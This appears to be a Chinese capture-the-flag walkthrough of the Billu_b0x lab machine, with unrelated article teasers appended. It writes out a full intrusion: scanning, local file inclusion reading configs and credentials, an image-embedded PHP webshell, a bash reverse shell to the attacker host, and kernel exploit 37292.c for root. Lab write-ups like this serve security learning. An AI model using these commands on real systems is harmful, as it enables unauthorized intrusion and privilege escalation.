Billu_b0x靶机

信息收集

使用arp-scan 生成网络接口地址来查看ip

输入命令:

arp-scan -l

可以查看到我们的目标ip为192.168.187.153

在这里插入图片描述

nmap扫描端口开放

输入命令:

nmap -min-rate 10000 -p- 192.168.187.153

可以看到开放2个端口

在这里插入图片描述

nmap扫描端口信息

输入命令:

nmap -sC -sT -A -p 22,80 192.168.187.153

在这里插入图片描述

nmap漏洞脚本扫描

输入命令:

nmap --script=vuln 192.168.187.153

这里没有扫描可以利用的信息

在这里插入图片描述

查看web端

页面上有一个登录的地方,但是还不知道密码,不过提示了一句向我展示你的sql技巧,看样子是想让我们使用sql注入

在这里插入图片描述

扫描子目录

输入命令:

dirsearch -u http://192.168.187.153

可以发现一些子目录

在这里插入图片描述

输入命令:

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html -u http://192.168.187.153 -t 50

这里也看到了一些子目录,等下访问看看

在这里插入图片描述

这个目录下查看到phpinfo()信息

在这里插入图片描述

查看php配置信息

在这个下面可以看到allow_url_fopen是on状态,可以允许本地文件包含

在这里插入图片描述

发现登录页面

这里看到了另一个新的页面,但是我们现在没有密码,先去找密码

在这里插入图片描述

发现文件包含页面

这里的test目录下看到了一个新的提示

在这里插入图片描述

翻译内容,看来是要我们加上file参数,有可能这里就是文件包含的位置,试一下

在这里插入图片描述

构造url语句

get请求验证

我们先尝试了get请求下的文件包含语句,但是发现没有成功

http://192.168.187.153/test.php?file=../../../etc/passwd

在这里插入图片描述

post请求验证

接下来尝试一下post请求的文件包含语句。这里可以使用bp来实现,也可以在kali中借助curl这个工具实现,这里使用的后者

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=…/…/…/etc/passwd

发现成功回显了信息,证明确实是存在本地文件包含

在这里插入图片描述

利用文件包含读取文件信息

既然已经证实存在了文件包含,那我们可以读取很多之前看不到的文件的信息了

查看add.php

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=add.php

add.php是一个上传界面,但是功能无法使用,查看源码文件发现只是个页面,没有后台处理代码

在这里插入图片描述

拿到数据库的密码信息

查看c.php

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=c.php

在这里看到了疑似数据库的连接用户名和密码,等下可以去查看一下

billu:b0x_billu

在这里插入图片描述

登录数据库

返回phpmy页面尝试登录,发现成功登录。

在这里插入图片描述

发现版本信息

这里在右下角发现了很多版本的信息

在这里插入图片描述

发现用户信息

然后在这个位置又找到了一组登录的信息

biLLu:hEx_it

在这里插入图片描述

渗透思路

这里我们有三种思路可选

  • 可以从phpmyadmin的版本入手,查找有无对应的漏洞

输入命令:

searchsploit phpMyAdmin 3.4.7

但是没有找到,所以这条路行不通

在这里插入图片描述

  • phpmyadmin的相关配置文件一般都是config.inc.php

在我们当前可以利用文件包含阅读其他文件的基础上,我们可以查看这个配置文件中的内容和信息。可以猜测一下,这个配置文件的存放

位置就是在 phpMy的目录下,通过URL猜测路径默认在/var/www/phpmy下面

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=/var/www/phpmy/config.inc.php

直接发现了root用户的登录密码(我人傻了。这么简单吗,sql注入没用呢,主页面还没有登录呢,我勒个去!!!)

root:roottoor

在这里插入图片描述

尝试ssh登录

直接试试ssh登录root用户(还是很怀疑是不是有这么简单)

输入命令:

ssh root@192.168.187.153

输入密码roottoor 发现成功登录,然后直接找flag就行(我已经人傻了)

在这里插入图片描述

  • 第三种就是正常思路了,可以去主页面登录用户名的信息,然后继续去做就可以

登录主页面

虽然上面的方法已经成功拿到了root权限,但是还是想着继续从其他方向突破试试那我们就回到主页面登录尝试一下,然后发现成功登录

在这里插入图片描述

这里登录进来后,又看到了文件上传的地点

在这里插入图片描述

制作图片木马

尝试过了weevely的加密木马,无法连接,所以还是老老实实反弹shell吧,准备好一张可以上传的图片,可以提前试一下,然后准备好我们的php文件,配置好ip和端口

输入命令:

cat 1.gif 123.php > 2.gif

在这里插入图片描述

成功合成了图片

在这里插入图片描述

上传图片木马

点击上传后,发现成功上传

在这里插入图片描述

现在先开启监听

在这里插入图片描述

结合之前扫描到的子目录,我们可以推测照片在uploaded_images/这个目录下,打开发现果然存在

在这里插入图片描述

我们打开我们上传的图片木马,回到kali中可以看到并没有反弹成功,可见直接打开图片,并不会执行代码

在这里插入图片描述

利用文件包含执行图片木马中的php语句

这里我们可以使用文件包含来执行图片里的php语句

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=/var/www/uploaded_images/3.gif

在这里插入图片描述

但是kali中无法反弹成功

在这里插入图片描述

查询文件包含的函数

这里不知道为什么失败,查询一下当前页面的文件包含函数是什么

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=test.php

发现是readfile()这个参数

在这里插入图片描述

经过上网搜查readfile的功能,是属于任意文件读取**。**无法执行php代码。所以我们上传的php反弹语句无法执行

在这里插入图片描述

漏洞挖掘

然后这里实在是没思路了,后来找了半天问了一下大佬,才知道在panel.php这个页面中存在本地文件包含漏洞

我们查看一下这个文件

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=panel.php

发现了include()这个函数,那我们可以在这里进行一个文件包含漏洞的利用

在这里插入图片描述

构造一句话木马

还是利用图片木马的原理,不过这次我们需要构造一句话木马

在这里插入图片描述

再次合成图片木马

输入命令:

cat 1.gif shell.php > 4.gif

在这里插入图片描述

上传图片木马

显示上传成功

在这里插入图片描述

文件包含漏洞利用

上传成功了,那我们就先试试有没有效果,bp抓包一下,load=/uploaded_images/4.gif&continue=continue

上面的cmd配置为cmd=cat%20/etc/passwd;ls 这里的空格必须使用url编码才能执行成功,然后在右面也可以看到返回值

在这里插入图片描述

那我们先开启监听

在这里插入图片描述

配置反弹语句

echo “bash -i >& /dev/tcp/192.168.187.128/8888 0>&1” | bash

由于之前就实验了必须使用url编码才能够执行语句,所以我们先将语句进行url编码

在这里插入图片描述

然后在bp中执行这段语句

在这里插入图片描述

执行以后就可以发现反弹shell成功了

在这里插入图片描述

提权思路

这里提权思路有这几种

sudo提权,suid提权,内核漏洞提权,计划任务提权

正常情况下,我们肯定是要一个个去试试的,对于这个靶机而言,经过尝试后,最终要使用的提权方法为内核漏洞提权

查找内核信息

输入命令:

uname -a

在这里插入图片描述

输入命令:

cat /etc/issue.net

在这里插入图片描述

查找漏洞

然后去查找有无对应的漏洞

输入命令:

searchsploit linux 3.13

这里找到了一个符合条件的漏洞文件,拿来试试

在这里插入图片描述

漏洞利用

首先将这个文件拷贝到桌面上

输入命令:

searchsploit -m 37292.c

在这里插入图片描述

然后开启http临时服务

输入命令:

python3 -m http.server 80

在这里插入图片描述

在靶机中使用wget命令下载文件(最好在/tmp目录下)

在这里插入图片描述

查看一下文件是否传输成功,发现没有问题

在这里插入图片描述

提权成功

编译,赋权,执行

输入命令:

gcc 37292.c -o exp

chmod 777 exp

./exp

执行完以后就发现已经是root权限了

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/45539.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

配置PYTHONPATH环境变量

配置PYTHONPATH环境变量 前言Win系统临时配置永久配置 Linux系统临时配置永久配置 前言 在运行py脚本时不仅需要import官方库,经常会import自己编写的脚本,但此时会出现模块找不到的如下报错。解决方法是配置PYTHONPATH,下文介绍Win系统和Li…

禹神:一小时快速上手Electron,前端Electron开发教程,笔记。一篇文章入门Electron

一、Electron是什么 简单的一句话,就是用htmlcssjsnodejs(Native Api)做兼容多个系统(Windows、Linux、Mac)的软件。 官网解释如下(有点像绕口令): Electron是一个使用 JavaScript、HTML 和 CSS 构建桌面…

Resources.Load返回null

Resources.Load返回null 在unity中Resources.Load从Assets下的任意Resources目录下读取资源&#xff0c;比如从Assets\Resources下读取Cube&#xff08;预制体&#xff09;&#xff0c;当然也可以读取其他资源 代码为 GameObject prefab Resources.Load<GameObject>(…

微软Edge浏览器深度解析:性能、安全性与特色功能全面评测

一、引言 自Windows 10操作系统推出以来&#xff0c;微软Edge浏览器作为默认的网页浏览器&#xff0c;凭借其现代化的设计和出色的性能表现&#xff0c;逐渐获得了用户的认可。本文旨在对Edge浏览器进行深入分析&#xff0c;探讨其在多个方面的表现。 二、界面与操作体验 界面…

在 PostgreSQL 里如何处理数据的存储优化和数据库备份的效率平衡?

&#x1f345;关注博主&#x1f397;️ 带你畅游技术世界&#xff0c;不错过每一次成长机会&#xff01;&#x1f4da;领书&#xff1a;PostgreSQL 入门到精通.pdf 文章目录 在 PostgreSQL 里如何处理数据的存储优化和数据库备份的效率平衡&#xff1f;一、数据存储优化&#x…

HTML表格表单及框架标签

一.表格标签 1.<table></table> 创建表格 2.<caption></caption> 表格的标题 3.<tr></tr>Table Row&#xff08;表格行&#xff09; 4.<td></td>Table Data&#xff08;表格数据&#xff09;其中有属性rowspan"2&quo…

Linux操作系统——数据库

数据库 sun solaris gnu 1、分类&#xff1a; 大型 中型 小型 ORACLE MYSQL/MSSQL SQLITE DBII powdb 关系型数据库 2、名词&#xff1a; DB 数据库 select update database DBMS 数据…

距离变换 Distance Transformation

以下为该学习地址的学习笔记&#xff1a;Distance transformation in image - Python OpenCV - GeeksforGeeks 其他学习资料&#xff1a;Morphology - Distance Transform 简介 距离变换是一种用于计算图像中每个像素与最近的非零像素之间距离的技术。它通常用于图像分割和物体…

51单片机5(GPIO简介)

一、序言&#xff1a;不论学习什么单片机&#xff0c;最简单的外设莫过于I口的高低电平的操作&#xff0c;接下来&#xff0c;我们将给大家介绍一下如何在创建好的工程模板上面&#xff0c;通过控制51单片机的GPIO来使我们的开发板上的LED来点亮。 二、51单片机GPIO介绍&#…

PySide在Qt Designer中使用QTableView 显示表格数据

在 PySide6 中&#xff0c;可以使用 Qt Model View 架构中的 QTableView 部件来显示和编辑表格数据。 1、创建ui文件 在Qt Designer中新建QMainWindow&#xff0c;命名为csvShow.ui。QMainWindow上有两个部件&#xff1a;tableview和btn_exit。 2、使用pyuic工具将ui文件转换为…

Kafka(四) Consumer消费者

一&#xff0c;基础知识 1&#xff0c;消费者与消费组 每个消费者都有对应的消费组&#xff0c;不同消费组之间互不影响。 Partition的消息只能被一个消费组中的一个消费者所消费&#xff0c; 但Partition也可能被再平衡分配给新的消费者。 一个Topic的不同Partition会根据分配…

MySQL集群、Redis集群、RabbitMQ集群

一、MySQL集群 1、集群原理 MySQL-MMM 是 Master-Master Replication Manager for MySQL&#xff08;mysql 主主复制管理器&#xff09;的简称。脚本&#xff09;。MMM 基于 MySQL Replication 做的扩展架构&#xff0c;主要用来监控 mysql 主主复制并做失败转移。其原理是将真…

基于Faster R-CNN的安全帽目标检测

基于Faster R-CNN的安全帽目标检测项目通常旨在解决工作场所&#xff0c;特别是建筑工地的安全监管问题。这类项目使用计算机视觉技术&#xff0c;特别是深度学习中的Faster R-CNN算法&#xff0c;来自动检测工人是否正确佩戴了安全帽&#xff0c;从而确保遵守安全规定并减少事…

实验一:图像信号的数字化

目录 一、实验目的 二、实验原理 三、实验内容 四、源程序及结果 源程序&#xff08;python&#xff09;&#xff1a; 结果&#xff1a; 五、结果分析 一、实验目的 通过本实验了解图像的数字化过程&#xff0c;了解数字图像的数据矩阵表示法。掌握取样&#xff08;象素个…

Linux 网络配置与连接

一、网络配置 1.1 ifconfig 网卡配置查询 ifconfig #查看所有启动的网络接口信息 ifconfig 指定的网卡 #查看指定网络接口信息 1.2 修改网络配置文件 vim /etc/sysconfig/network-scripts/ifcfg-ens33 #ens33网络配置文…

【电源拓扑】反激拓扑

目录 工作模式 固定频率 CCM连续电流模式 DCM不连续电流模式 可变频率 CRM电流临界模式 反激电源CRM工作模式为什么要跳频 反激电源应用场景 为什么反激电源功率做不大 电感电流爬升 反激变压器的限制条件 精通反激电源设计的关键-反激电源变压器设计 反激电源变压…

MySQL 事务与锁

事务ACID特性 原子性&#xff1a;事务要么同时成功&#xff0c;要么同时失败&#xff0c;事务的原子性通过undo log日志保证 一致性&#xff1a;业务代码要抛出报错&#xff0c;让数据库回滚 隔离性&#xff1a;事务并发执行时&#xff0c;他们内部操作不能互相干扰 持久性&…

Python 读取esxi上所有主机的设备信息

&#xff08;主要是为了统计所有虚拟机的设备名称和所属主机&#xff09; 代码&#xff1a; from pyVim import connect from pyVmomi import vim import ssldef get_vm_devices(vm):devices []try:if vm.config is not None and hasattr(vm.config, hardware) and hasattr(v…

postgresql简单导出数据与手动本地恢复(小型数据库)

问题 需要每天手动备份postgresql。 步骤 导出数据 /opt/homebrew/opt/postgresql16/bin/pg_dump --file/Users/zhangyalin/backup_sql/<IP地址>_pg-2024_07_15_17_30_15-dump.sql --dbname<数据库名> --username<用户名> --host<IP地址> --port54…

Day53:图论 岛屿数量 岛屿的最大面积

99. 岛屿数量 时间限制&#xff1a;1.000S 空间限制&#xff1a;256MB 题目描述 给定一个由 1&#xff08;陆地&#xff09;和 0&#xff08;水&#xff09;组成的矩阵&#xff0c;你需要计算岛屿的数量。岛屿由水平方向或垂直方向上相邻的陆地连接而成&#xff0c;并且四周…